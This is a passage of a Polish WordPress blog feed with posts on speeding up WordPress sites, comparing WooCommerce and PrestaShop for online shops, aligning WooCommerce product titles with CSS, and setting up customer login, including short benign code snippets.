				<div class="elementor-element elementor-element-9c3701b elementor-widget elementor-widget-heading" data-id="9c3701b" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Blokuj złe boty</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-b106526 elementor-widget elementor-widget-text-editor" data-id="b106526" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Złe boty potrafią uprzykrzyć nam życie. Mogą tworzyć fałszywe konta, dodawać spamerskie komentarze i generalnie zakłócać wszystkie funkcjonalności Twojej witryny na WordPress. Mają wpływ na wolne wczytywanie się strony, a sam wordpress jest oprogramowaniem podatnym na tego typu ataki.</p><p>Aby ochronić się przed złymi botami polecam wtyczkę iThemes Security, która pozwala chronić Twoją tożsamość i powstrzymuje złośliwe zachowania. Po odpowiedniej konfiguracji tej wtyczki dostaniesz ostrzeżenie przy wykryciu kolejnej aktywności dot. naruszenia.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-f4a02f3 elementor-widget elementor-widget-heading" data-id="f4a02f3" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Wyłącz bicie serca</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-0fdd7ef elementor-widget elementor-widget-text-editor" data-id="0fdd7ef" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>WordPress co 15-60 sekund generuje żądania i wyświetla powiadomienia o wtyczkach w czasie rzeczywistym, dostarcza on informacji o edytowanych postach przez innych użytkowników. Aby wyłączyć bicie serca, dodaj ten kod do plicu functions.php w swoim szablonie:</p><pre>add_action( 'init', 'stop_heartbeat', 1 );
function stop_heartbeat() {
wp_deregister_script('heartbeat');
}
</pre>								</div>
				</div>
				<div class="elementor-element elementor-element-173b1d9 elementor-widget elementor-widget-heading" data-id="173b1d9" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zoptymalizuj czcionki Google</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-24a4bf8 elementor-widget elementor-widget-text-editor" data-id="24a4bf8" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Istnieje kilka sposobów na optymalizację czcionek. Zwróć uwagę na to by ograniczyć liczbę czcionek, grubości i ikon wczytywanych w Twojej witrynie. Najlepiej hostuj je lokalnie i upewnij, się że tekst pozostaje widoczny podczas ładowania czcionek internetowych za pomocą WP Rocket lub wtyczki Swap Google Fonts Display.
								</div>
				</div>
				<div class="elementor-element elementor-element-7ac356b elementor-widget elementor-widget-heading" data-id="7ac356b" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zmniejsz TTFB dzięki szybszemu hostingowi</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-99b64df elementor-widget elementor-widget-text-editor" data-id="99b64df" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Aby zmniejszyć czas odpowiedzi serwera zastanów się nad migracją na szybszy, bardziej wydajny hosting – np.z szybszym łączem o mocniejszym CPU i większej ilości RAMu. Pamiętaj, że lokalizacja geograficzna serwera powinna być najbliżej Twoich docelowych użytkowników – warto przy tym zadbać aby serwer HTTP, Back-End i bazy danych były umieszczone w tym samym centrum danych. Aby zbadać TTFB w opcjach przeglądarki internetowej wybierz zakładkę Netwotk (w przeglądarce Chrome – klawisz F12). 
								</div>
				</div>
				<div class="elementor-element elementor-element-bf607a9 elementor-widget elementor-widget-heading" data-id="bf607a9" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Unikaj instalowania wtyczek
</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-97c62bd elementor-widget elementor-widget-text-editor" data-id="97c62bd" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Zbyt duża ilość wtyczek powoduje wolne randerowanie się strony. Spowodowane jest to faktem, że każdy dodatkowy moduł ładuje swoje dodatkowe skrypty i zwiększa używanie zasobów serwera.Dodatkowo wzmagasz w ten sposób potencjał ataków na Twoją witrynę, ponieważ, każda dodatkow wtyczka, która nie jest aktualizowana, może stanowić zagrożenie dla Twojej witryny.
								</div>
				</div>
				<div class="elementor-element elementor-element-f41bac7 elementor-widget elementor-widget-heading" data-id="f41bac7" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zmień adres logowania się do swojej witryny</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-20b5217 elementor-widget elementor-widget-text-editor" data-id="20b5217" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Złe boty będą próbowały uzyskać dostęp do Twojego panelu logowania wp &#8211; powoduje to niepotrzebne zjadanie zasobów serwera. Aby zabezpieczyć się przed niechcianym obciążeniem dodaj i skonfiguruj wtyczkę <strong>Hide My WP.</strong></p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-przyspieszyc-strone-w-wordpress/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sklep internetowy – WooCommerce czy PrestaShop?</title>
		<link>https://sklep.kobietakoduje.pl/sklep-internetowy-woocommerce-czy-prestashop/</link>
					<comments>https://sklep.kobietakoduje.pl/sklep-internetowy-woocommerce-czy-prestashop/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Tue, 25 Jan 2022 14:46:54 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3079</guid>

					<description><![CDATA[<p>Własny sklep internetowy to podstawa każdego biznesu. Według badania PwC „Perspektywy rozwoju rynku e-commerce w Polsce” wartość e-commerce w czasach pandemii wzrosła aż o 35%. Natomiast 85% przebadanych konsumentów deklaruje, że nawet po zakończeniu pandemii zamierza korzystać z zakupów online. Te dane są istotnym wyznacznikiem dla każdego przedsiębiorcy: rynek e-commerce będzie rósł w siłę! Pora [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3079" class="elementor elementor-3079" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-84cf489 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="84cf489" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-b5c69ab" data-id="b5c69ab" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-da5e0b6 elementor-widget elementor-widget-text-editor" data-id="da5e0b6" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><strong>Własny sklep internetowy to podstawa każdego biznesu. Według badania PwC „Perspektywy rozwoju rynku e-commerce w Polsce” wartość e-commerce w czasach pandemii wzrosła aż o 35%. Natomiast 85% przebadanych konsumentów deklaruje, że nawet po zakończeniu pandemii zamierza korzystać z zakupów online. Te dane są istotnym wyznacznikiem dla każdego przedsiębiorcy: rynek e-commerce będzie rósł w siłę! Pora założyć sklep internetowy! Tylko którą technologię wybrać, skoro na rynku dostępnych jest tak wiele możliwości? W tym artykule analizujemy dwa najpopularniejsze systemy zarządzania treścią: WordPress Woocommerce i CMS PrestaShop.</strong></p><p>Istnieje wiele platform umożliwiających szybkie i proste postawienie <a href="https://kobietakoduje.pl/tworzenie-sklepow-internetowych/"><strong>sklepu internetowego</strong></a> online. Najbardziej rozwojowe są narzędzia CMS, czyli Systemy Zarządzania Treścią. Jest to rodzaj oprogramowania umożliwiający tworzenie stron www, w tym sklepów, a następnie łatwe zarządzanie zawartością za pomocą wizualnych metod, jak drag&amp;drop (przeciągnij i upuść).</p><h2>Co to jest WordPress i Prestashop?</h2><p>Dwa najpopularniejsze z nich – <a href="https://kobietakoduje.pl/wordpress/"><strong>WordPress</strong></a> i <a href="https://kobietakoduje.pl/prestashop/"><strong>PrestaShop</strong></a> – należą do oprogramowania open source, czyli o otwartym kodzie.</p><p>Najważniejszą cechą PrestaShop jest jej dedykowanie do tworzenia sklepów internetowych. PrestaShop posiada szereg funkcjonalności umożliwiających budowanie sklepów i ich rozwój, kładąc ogromny nacisk na wzrost sprzedaży i łatwość zarządzania sklepem.</p><p>WordPress to narzędzie do tworzenia stron internetowych, które jest łatwo rozszerzalne o nowe funkcjonalności za pomocą wtyczek. Wtyczką do WordPressa umożliwiającą sprzedaż produktów i przekształcającą stronę w sklep jest <a href="https://kobietakoduje.pl/blog/woocommerce/"><strong>WooCommerce</strong></a>. Niestety, WooCommerce domyślnie posiada mniej funkcjonalności niż PrestaShop. Aby dołożyć nowe funkcje, które w PrestaShop często są wbudowane, trzeba skorzystać z rozszerzeń do WooCommerce.</p><h2>Ile kosztuje sklep w PrestaShop lub Woocommerce?</h2><p>Oba oprogramowania są darmowe. W zależności od naszych umiejętności, na początku prawdopodobnie będziemy musieli zainwestować w pomoc, która skonfiguruje WordPressa lub PrestaShop na serwerze, ustawi domenę i tak dalej. Może też się okazać, że niektóre elementy rozszerzające funkcjonalność naszego sklepu będą płatne. Ale technologie same w sobie są darmowe, rozwojowe i umożliwiające nam stworzenie praktycznie każdego rodzaju sklepu. Ograniczeniem jest tylko wyobraźnia.</p><p>Wpływ na cenę ma nie tylko sklep bazowy i praca programisty, ale także dodatkowe moduły, które najczęściej do prowadzenia sklepu są nam po prostu potrzebne. Do ceny zaprojektowania i stworzenia sklepu należy więc doliczyć:</p>								</div>
				</div>
				<section class="elementor-section elementor-inner-section elementor-element elementor-element-3232177 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="3232177" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-43bd918" data-id="43bd918" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-f274ca3 elementor-widget elementor-widget-text-editor" data-id="f274ca3" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><strong>Wtyczki do woocomerce:</strong></p>								</div>
				</div>
				<div class="elementor-element elementor-element-96438f1 elementor-widget elementor-widget-eael-feature-list" data-id="96438f1" data-element_type="widget" data-e-type="widget" data-widget_type="eael-feature-list.default">
				<div class="elementor-widget-container">
							<div class="-icon-position-left -tablet-icon-position-left -mobile-icon-position-left">
			<ul id="eael-feature-list-96438f1" class="eael-feature-list-items square framed  eael-feature-list-vertical" data-layout-tablet="vertical" data-layout-mobile="vertical">
			                <li class="eael-feature-list-item elementor-repeater-item-15b5f10">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-0"href="https://www.wpdesk.pl/sklep/faktury-woocommerce/">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://www.wpdesk.pl/sklep/faktury-woocommerce/">Faktury</a></p>						<p class="eael-feature-list-content">200 PLN</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-a489875">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-1"href="https://www.wpdesk.pl/sklep/flexible-shipping-pro-woocommerce">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://www.wpdesk.pl/sklep/flexible-shipping-pro-woocommerce">Pełna obsługa przesyłek</a></p>						<p class="eael-feature-list-content">250 PLN</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-a0b40f6">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-2"href="https://adtribes.io/pro-vs-elite/?utm_source=kobietakoduje.pl&#038;utm_medium=pluginpage&#038;utm_campaign=go%20elite">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://adtribes.io/pro-vs-elite/?utm_source=kobietakoduje.pl&#038;utm_medium=pluginpage&#038;utm_campaign=go%20elite">Product feed Pro for WooCommerce</a></p>						<p class="eael-feature-list-content">89 EURO</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-bd06f57">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-3"href="https://www.wpdesk.pl/sklep/woocommerce-checkout-fields/">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://www.wpdesk.pl/sklep/woocommerce-checkout-fields/">Modyfikacja strony zamówienia</a></p>						<p class="eael-feature-list-content">89 EURO</p>
												</div>

					</li>
							</ul>
		</div>
						</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-7542f8e" data-id="7542f8e" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-0abd55a elementor-widget elementor-widget-text-editor" data-id="0abd55a" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p><strong>Moduły do prestashop:</strong></p>								</div>
				</div>
				<div class="elementor-element elementor-element-e525422 elementor-widget elementor-widget-eael-feature-list" data-id="e525422" data-element_type="widget" data-e-type="widget" data-widget_type="eael-feature-list.default">
				<div class="elementor-widget-container">
							<div class="-icon-position-left -tablet-icon-position-left -mobile-icon-position-left">
			<ul id="eael-feature-list-e525422" class="eael-feature-list-items square framed  eael-feature-list-vertical" data-layout-tablet="vertical" data-layout-mobile="vertical">
			                <li class="eael-feature-list-item elementor-repeater-item-15b5f10">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-0"href="https://mypresta.eu/pl/moduly/seo-pozycjonowanie-i-optymalizacja/przyjazne-linki-pro.html">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://mypresta.eu/pl/moduly/seo-pozycjonowanie-i-optymalizacja/przyjazne-linki-pro.html">Przyjazne urle</a></p>						<p class="eael-feature-list-content">170 PLN</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-a489875">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-1"href="https://addons.prestashop.com/pl/porownywarki-cen/45244-google-merchant-center-google-shopping-feed-pro.html">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://addons.prestashop.com/pl/porownywarki-cen/45244-google-merchant-center-google-shopping-feed-pro.html">Feed productowy</a></p>						<p class="eael-feature-list-content">84 USD</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-a0b40f6">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-2"href="https://addons.prestashop.com/pl/analizy-statystyki/23806-google-tag-manager-enhanced-ecommerce-ua-pro.html">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://addons.prestashop.com/pl/analizy-statystyki/23806-google-tag-manager-enhanced-ecommerce-ua-pro.html">Rozszerzone e-commerce</a></p>						<p class="eael-feature-list-content">112 USD</p>
												</div>

					</li>
				                <li class="eael-feature-list-item elementor-repeater-item-bd06f57">
                    
						<div class="eael-feature-list-icon-box">
							<div class="eael-feature-list-icon-inner">

								<a class="eael-feature-list-icon fl-icon-3"href="https://mypresta.eu/pl/moduly/portale-spolecznosciowe/fbpixel-monitorowanie-konwersji.html">

		<i aria-hidden="true" class="fas fa-download"></i>								</a>
							</div>
						</div>
						<div class="eael-feature-list-content-box">
                            <p class="eael-feature-list-title"><a href="https://mypresta.eu/pl/moduly/portale-spolecznosciowe/fbpixel-monitorowanie-konwersji.html">Zdarzenia FB</a></p>						<p class="eael-feature-list-content">73 PLN</p>
												</div>

					</li>
							</ul>
		</div>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<div class="elementor-element elementor-element-db3d86d elementor-widget elementor-widget-text-editor" data-id="db3d86d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<h2>PrestaShop czy WordPress – który CMS jest popularniejszy?</h2><p>Z CMS PrestaShop korzysta niecałe 300 tysięcy witryn na całym świecie, w szczególności w Europie i Ameryce Łacińskiej. Co więcej, PrestaShop w 2020 roku wygenerował ponad 22 miliardy euro sprzedaży online!</p><p>Z drugiej strony wiemy, że prawie 13% platform e-commerce korzysta z wtyczki WooCommerce. Według danych z 2019 roku szacowany wolumen sprzedaży z wykorzystaniem platformy WooCommerce wyniósł 11,8 miliarda dolarów.</p><p>Czy to jednak oznacza, że WooCoomerce jest lepszym rozwiązaniem dla naszego sklepu online? Zdecydowanie nie! Wszystko zależy od tego, czy celem jest zbudowanie profesjonalnej platformy sprzedażowej, czy tylko wzbogacenie naszej strony www o niewielki sklep. W pierwszym przypadku – tworzeniu profesjonalnego sklepu internetowego – zdecydowanie lepiej sprawdzi się PrestaShop.</p><h2>PrestaShop – zalety w porównaniu z WooCommerce</h2><p>PrestaShop to technologia dedykowana sklepom internetowym, a co za tym idzie, jest zdecydowanie bardziej wydajna w przypadku bardzo dużych sklepów. Jej kod od początku optymalizowany jest pod kątem sprzedaży online, dotyczy to także dostępnych w Internecie gotowych wzorów wyglądu strony. Bogata baza gotowych motywów do PrestaShop skupia się na sprzedaży i jest pod tym kątem projektowana i optymalizowana.</p><p>PrestaShop, w porównaniu z WooCommerce, w standardzie w darmowej wersji posiada szereg profesjonalnych modułów ułatwiających zarządzanie sklepem, w tym:<br />&#8211; moduł do faktur,<br />&#8211; porównywarkę produktów,<br />&#8211; ustawienia katalogów,<br />&#8211; zaawansowane statystyki,<br />&#8211; moduły do zarządzania poszczególnymi etapami zakupów,<br />&#8211; profesjonalne zarządzanie magazynem,<br />&#8211; system rabatowy<br />i wiele więcej. Wszystkie szczegóły dotyczące funkcjonalności PrestaShop znajdziesz na oficjalnej stronie projektu.</p><h2>Czy w tej sytuacji PrestaShop ma jakieś wady?</h2><p>Tak, kilka. Przede wszystkim jest trudniejsza od WordPressa, a co za tym idzie, wsparcie techniczne i programistyczne jest droższe. Ponadto PrestaShop wymaga większych umiejętności technicznych, gdy oprócz prowadzenia sklepu online, zdecydujemy się na wprowadzenie na stronie bloga czy nawet dodatkowych podstron. Warto też zwrócić uwagę na to, że PrestaShop potrzebuje mocniejszego serwera niż WordPress, co może wpłynąć na koszt.</p><p>Z drugiej jednak strony większość specjalistów zajmujących się PrestaShop jest bardziej doświadczonych w sprzedaży. Znają się na temacie, ponieważ PrestaShop jest narzędziem dedykowanym sprzedaży. W przypadku specjalistów WordPress konfiguracja WooCommerce często jest traktowana po macoszemu, jako dodatek do tworzenia stron www. Choć WooCommerce wydaje się prostszy, to już jego modyfikacje mogą okazać się bardziej złożone, a znalezienie specjalisty trudniejsze.</p><h2>Bezpieczeństwo sklepu internetowego</h2><p>Bezpieczeństwo sklepu internetowego w dużej mierze zależy od regularnych aktualizacji &#8211; aktualizacje wydają się być łatwe, ale bez odpowiedniego przygotowania i wcześniejszego wykonywania kopii zapasowej, mogą pojawić się niemałe problemy. Brak regularnych aktualizacji stanowi duże niebezpieczeństwo, a także zagrożenie w kwestii stabilności sklepu internetowego.</p><p>Zabezpieczenia strony zależą od kodu, a kod OpenSource bywa dziurawy; oba CMS mają duże wsparcie i są na bieżąco łatane, ale jeśli nie wykonujemy aktualizacji, plaster nas nie dotyczy. PrestaShop zapewnia nam trochę więcej wbudowanych funkcjonalności, więc kod jest bardziej spójny i pochodzi z jednego źródła; na WooCommerce instalujemy wiele wtyczek, każda innego autora, co zmniejsza bezpieczeństwo spójności kodu, aktualnych aktualizacji itd.</p><h2>Profesjonalny sklep internetowy – PrestaShop czy WooCommerce?</h2><p>Jeśli naszym głównym celem jest posiadanie strony internetowej, na której w przyszłości chcemy wprowadzić niewielką sprzedaż – e-booków lub kursów – WooCommerce zdecydowanie wygrywa. Jeśli jednak sprzedaż jest naszym głównym celem i zamierzamy stworzyć sklep internetowy, którego obsługa będzie przejrzysta, zdecydowanie lepiej wybrać PrestaShop.</p><h3>A może jedno i drugie? Sklep na PrestaShop, a blog na subdomenie WordPress?</h3><p>Takie rozwiązanie istnieje, pojawia się jednak potrzeba doinstalowania modułu w prestashop który będzie pobierał najnowsze wpisy z wordpressa i wyświetlał je np. na stronie głównej Twojego sklepu. Rodzi się też jedno małe wyzwanie, warto dostosować stopkę i nagłówek bloga w taki sposób aby wyglądały one identycznie jak te na podstronie sklepu &#8211; szata graficzna powinna sprawiać wrażenie spójności.</p><h2>Co jeśli nie prestashop i woocommerce?</h2><p>Jeśli Twoje doświadczenia z obiema platformami nie są dobre, a Twój pomysł na biznes jest już dobrze zweryfikowany i przynosi długofalowe korzyści finansowe, może czas pomyśleć o dedykowanym, profesjonalnym sklepie internetowym?</p><p>Oferuję także customowe rozwiązania pod ecommerce, sklep który będzie miał w sobie wszystkie potrzebne funkcje, bez konieczności instalowania dodatków, wtyczek i modułów. Wystarczy, że wypełnisz zakładkę <a href="https://www.kobietakoduje.pl/brief">brief</a>, a ja wrócę do Ciebie z indywidualną ofertą na profesjonalny <strong>esklep.</strong></p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/sklep-internetowy-woocommerce-czy-prestashop/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jak wyrównać tytuły produktów w wordpress</title>
		<link>https://sklep.kobietakoduje.pl/jak-wyrownac-tytuly-produktow-w-wordpress/</link>
					<comments>https://sklep.kobietakoduje.pl/jak-wyrownac-tytuly-produktow-w-wordpress/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Mon, 17 Jan 2022 17:00:52 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3062</guid>

					<description><![CDATA[<p>Na kwestie wyrównania produktów w jednej linii wpływa wysokość zdjęcia i tytułu produktu. O ile wszystkie zdjęcia możemy wgrać w tym samym rozmiarze lub narzucić go w ustawieniach, o tyle nazwy produktów często mają różną długość. Aby wymusić równą wysokość nazw produktów i zachować wyświetlanie ich tytułów w jednej linii na stronie sklepu należy dodać [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3062" class="elementor elementor-3062" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-8a4d927 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="8a4d927" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c361c60" data-id="c361c60" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-2439ec9 elementor-widget elementor-widget-text-editor" data-id="2439ec9" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Na kwestie wyrównania produktów w jednej linii wpływa wysokość zdjęcia i tytułu produktu. O ile wszystkie zdjęcia możemy wgrać w tym samym rozmiarze lub narzucić go w ustawieniach, o tyle nazwy produktów często mają różną długość. Aby wymusić równą wysokość nazw produktów i zachować wyświetlanie ich tytułów w jednej linii na stronie sklepu należy dodać do stylów poniższy kod:
								</div>
				</div>
				<div class="elementor-element elementor-element-adf18c5 elementor-widget elementor-widget-code-highlight" data-id="adf18c5" data-element_type="widget" data-e-type="widget" data-widget_type="code-highlight.default">
				<div class="elementor-widget-container">
							<div class="prismjs-default copy-to-clipboard ">
			<pre data-line="" class="highlight-height language-css line-numbers">
				<code readonly="true" class="language-css">
					<xmp>.woocommerce ul.products li.product .woocommerce-loop-product__title, 
.woocommerce ul.products li.product .woocommerce-loop-category__title {
	--line-height: 1.4;
	line-height: var(--line-height);
	min-height: calc(2em * var(--line-height));
}</xmp>
				</code>
			</pre>
		</div>
						</div>
				</div>
				<div class="elementor-element elementor-element-94acc2d elementor-widget elementor-widget-text-editor" data-id="94acc2d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Możesz też spróbować innego rozwiązania:								</div>
				</div>
				<div class="elementor-element elementor-element-fdce95b elementor-widget elementor-widget-code-highlight" data-id="fdce95b" data-element_type="widget" data-e-type="widget" data-widget_type="code-highlight.default">
				<div class="elementor-widget-container">
							<div class="prismjs-default copy-to-clipboard ">
			<pre data-line="" class="highlight-height language-css line-numbers">
				<code readonly="true" class="language-css">
					<xmp>@media(min-width: 769px) {
    .woocommerce ul.products {
display: flex;
        flex-wrap: wrap;
        align-content: space-around;
    }
    .woocommerce ul.products li.product,
    .woocommerce ul.products li.product a {
        display: flex;
        flex-direction: column;
        
    }
    .woocommerce ul.products li.product a.woocommerce-LoopProduct-link {
        flex: 1;
    }
}</xmp>
				</code>
			</pre>
		</div>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-wyrownac-tytuly-produktow-w-wordpress/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Elegancki panel logowania i rejestracji dla klientów sklepu</title>
		<link>https://sklep.kobietakoduje.pl/elegancki-panel-logowania-i-rejestracji-dla-klientow-sklepu/</link>
					<comments>https://sklep.kobietakoduje.pl/elegancki-panel-logowania-i-rejestracji-dla-klientow-sklepu/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Mon, 03 Jan 2022 20:42:54 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3033</guid>

					<description><![CDATA[<p>Aby włączyć w sklepie możliwość zakładania kont i logowania się do sklepu przez klientów należy przejść do ustawień woocommerce &#62; konta i prywatności  i ustawić poniże parametry: Kolejno jeśli chcemy dodać do domyślnego panelu zakładki /moje-konto/ także imię, nazwisko i hasło do panelu klienta, odnajdujemy w naszym folderze z szablonem plik functions.php i dodajemy poniższy [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3033" class="elementor elementor-3033" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-887da1d elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="887da1d" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-813e610" data-id="813e610" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ec4a7df elementor-widget elementor-widget-text-editor" data-id="ec4a7df" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Aby włączyć w sklepie możliwość zakładania kont i logowania się do sklepu przez klientów należy przejść do ustawień woocommerce &gt; konta i prywatności  i ustawić poniże parametry:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-db1d0f7 elementor-widget elementor-widget-image" data-id="db1d0f7" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="294" src="https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow-1024x294.jpg" class="attachment-large size-large wp-image-3034" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow-1024x294.jpg 1024w, https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow-300x86.jpg 300w, https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow-768x221.jpg 768w, https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow-600x172.jpg 600w, https://sklep.kobietakoduje.pl/wp-content/uploads/logowanie-rejestracja-dla-klientow.jpg 1458w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
